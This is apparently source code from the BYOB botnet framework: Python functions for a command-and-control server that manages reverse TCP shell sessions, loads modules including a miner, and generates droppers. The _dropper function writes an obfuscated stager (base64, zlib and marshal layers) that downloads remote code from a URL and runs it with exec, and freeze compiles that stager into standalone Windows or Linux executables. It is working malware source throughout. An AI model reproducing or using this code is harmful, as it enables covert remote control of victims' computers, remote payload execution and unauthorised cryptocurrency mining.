def _modules(options, **kwargs): global __load__ __load__ = threading.Event() __spin__ = _spinner(__load__) modules = [ 'modules/util.py', 'core/security.py', 'core/payloads.py', 'core/miner.py' ] if len(options.modules): for m in options.modules: if isinstance(m, str): base = os.path.splitext(os.path.basename(m))[0] if not os.path.exists(m): _m = os.path.join(os.path.abspath('modules'), os.path.basename(m)) if _m not in [ os.path.splitext(_)[0] for _ in os.listdir('modules') ]: util.display("[-]", color='red', style='normal') util.display( "can't add module: '{}' (does not exist)".format( m), color='reset', style='normal') continue module = os.path.join( os.path.abspath('modules'), m if '.py' in os.path.splitext(m)[1] else '.'.join( [os.path.splitext(m)[0], '.py'])) modules.append(module) __load__.set() return modules
def kill(self): """ Kill the reverse TCP shell session """ # get session attributes owner = self.info['owner'] session_id = self.info['id'] session_uid = self.info['uid'] # get owner sessions owner_sessions = globals()['c2'].sessions.get(owner) # find this session in owner sessions if session_uid in owner_sessions: session = owner_sessions[session_uid] # set session status as offline in database dao.update_session_status(session_uid, 0) # send kill command to client and shutdown the connection try: session.send_task({"task": "kill"}) session.connection.shutdown(socket.SHUT_RDWR) session.connection.close() except: pass _ = owner_sessions.pop(session_uid, None) util.display('Session {}:{} disconnected'.format( owner, session_uid)) else: util.display('Session {}:{} is already offline.'.format( owner, session_uid))
def quit(self): """ Quit server and optionally keep clients alive """ # kill http servers hosting packages and modules globals()['package_handler'].terminate() globals()['module_handler'].terminate() # put sessions in passive mode for owner, sessions in self.sessions.items(): for session_id, session in sessions.items(): if isinstance(session, Session): try: session.send_task({"task": "passive"}) except: pass # kill subprocesses (subprocess.Popen or multiprocessing.Process) for proc in self.child_procs.values(): try: proc.kill() except: pass try: proc.terminate() except: pass # forcibly end process globals()['__abort'] = True _ = os.popen("taskkill /pid {} /f".format(os.getpid()) if os.name == 'nt' else "kill {}".format(os.getpid())).read() util.display('Exiting...') sys.exit(0)
def run(self): """ Run C2 server administration terminal """ if self.debug: util.display('parent={} , child={} , args={}'.format( inspect.stack()[1][3], inspect.stack()[0][3], locals())) if 'c2' not in globals()['__threads']: globals()['__threads']['c2'] = self.serve_until_stopped() # admin shell for debugging if self.debug: while True: try: raw = input('byob-admin> ') # handle new line if raw in ['\n']: continue # handle quit/exit command if raw in ['exit', 'quit']: break # use exec/eval methods if specified, otherwise use eval cmd, _, code = raw.partition(' ') if cmd in self.commands: self.commands[cmd]['method'](code) else: self.py_eval(cmd) except KeyboardInterrupt: break self.quit()
def serve_until_stopped(self): while True: connection, address = self.socket.accept() session = SessionThread(connection=connection) if session.info != None: # database stores identifying information about session session_dict = dao.handle_session(session.info) session.id = session_dict['id'] # display session information in terminal session_dict.pop('new', None) session.info = session_dict # add session to user sessions dictionary owner = session.info.get('owner') if owner not in self.sessions: self.sessions[owner] = {} self.sessions[owner][session.info.get('uid')] = session util.display('New session {}:{} connected'.format( owner, session.info.get('uid'))) else: # util.display("\n\n[-]", color='red', style='bright', end=' ') util.display("Failed Connection:", color='white', style='bright', end=' ') util.display(address[0], color='white', style='normal') abort = globals()['__abort'] if abort: break
def _dropper(options, **kwargs): assert 'url' in kwargs, "missing keyword argument 'url'" assert 'var' in kwargs, "missing keyword argument 'var'" assert 'hidden' in kwargs, "missing keyword argument 'hidden'" output_dir = os.path.join('output', options.owner, 'src') if not os.path.isdir(output_dir): try: os.makedirs(output_dir) except OSError: util.log("Permission denied: unable to make directory './output'") # add os/arch info to filename if freezing if options.freeze: name = 'byob_{operating_system}_{architecture}_{var}.py'.format( operating_system=options.operating_system, architecture=options.architecture, var=kwargs['var']) if not options.name else options.name else: name = 'byob_{var}.py'.format(var=kwargs['var']) if not name.endswith('.py'): name += '.py' name = os.path.join(output_dir, name) dropper = """import sys,zlib,base64,marshal,json,urllib if sys.version_info[0] > 2: from urllib import request urlopen = urllib.request.urlopen if sys.version_info[0] > 2 else urllib.urlopen exec(eval(marshal.loads(zlib.decompress(base64.b64decode({})))))""".format( repr( base64.b64encode( zlib.compress( marshal.dumps( "urlopen({}).read()".format(repr(kwargs['url'])), 2))))) with open(name, 'w') as fp: fp.write(dropper) util.display('({:,} bytes written to {})'.format(len(dropper), name), style='dim', color='reset') # cross-compile executable for the specified os/arch using pyinstaller docker containers if options.freeze: util.display('\tCompiling executable...\n', color='reset', style='normal', end=' ') name = generators.freeze(name, icon=options.icon, hidden=kwargs['hidden'], owner=options.owner, operating_system=options.operating_system, architecture=options.architecture) util.display('({:,} bytes saved to file: {})\n'.format( len(open(name, 'rb').read()), name)) return name
def freeze(filename, icon=None, hidden=None, owner=None, operating_system=None, architecture=None): """ Compile a Python file into a standalone executable binary with a built-in Python interpreter `Required` :param str icon: icon image filename :param str filename: target filename Returns output filename as a string """ global template_spec # remember current working directory to return later original_dir = os.getcwd() basename = os.path.basename(filename) name = os.path.splitext(basename)[0] path = os.path.splitdrive(os.path.abspath('.'))[1].replace('\\', '/') # add user/owner output path if provided if owner: path = path + '/output/' + owner + '/src' key = ''.join([ random.choice( [chr(i) for i in list(range(48, 91)) + list(range(97, 123))]) for _ in range(16) ]) imports = ['imp'] with open(filename) as import_file: for potental_import in filter(None, (PI.strip().split() for PI in import_file)): if potental_import[0] == 'import': imports.append(potental_import[1].split(';')[0].split(',')) bad_imports = set() bad_imports.add('core') for i in os.listdir('core'): i = os.path.splitext(i)[0] bad_imports.add(i) bad_imports.add('core.%s' % i) for imported in imports: if isinstance(imported, list): __ = imports.pop(imports.index(imported)) for ___ in __: if ___ not in bad_imports: imports.append(___) imports = list(set(imports)) if isinstance(hidden, list): imports.extend(hidden) spec = template_spec.substitute(BASENAME=repr(basename), PATH=repr(path), IMPORTS=imports, NAME=repr(name), ICON=repr(icon)) fspec = os.path.join(path, name + '.spec') with open(fspec, 'w') as fp: fp.write(spec) # copy requirements to shutil.copy('requirements_client.txt', path + '/requirements.txt') # cd into user's src directory (limitation of pyinstaller docker) os.chdir(path) # cross-compile executable for the specified os/arch using pyinstaller docker containers process = subprocess.Popen( 'docker run -v "$(pwd):/src/" {docker_container}'.format( src_path=os.path.dirname(path), docker_container=operating_system + '-' + architecture), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, cwd=path, shell=True) start_time = time.time() # wait for compilation to finish or hit 10 minute time limit while True: try: line = process.stderr.readline().rstrip() except: break if line.strip() != None: util.display(line, color='reset', style='dim') line = line.decode('utf-8') if 'EXE' in line and 'complete' in line: break time.sleep(0.25) if (time.time() - start_time > 600): raise RuntimeError("Timeout or out of memory") output = os.path.join( path, 'dist', 'windows/{0}.exe'.format(name) if operating_system == 'win' else 'linux/{0}'.format(name)) # remove temporary files (.py, .spec) os.remove(basename) os.remove(name + '.spec') # return to original directory os.chdir(original_dir) return output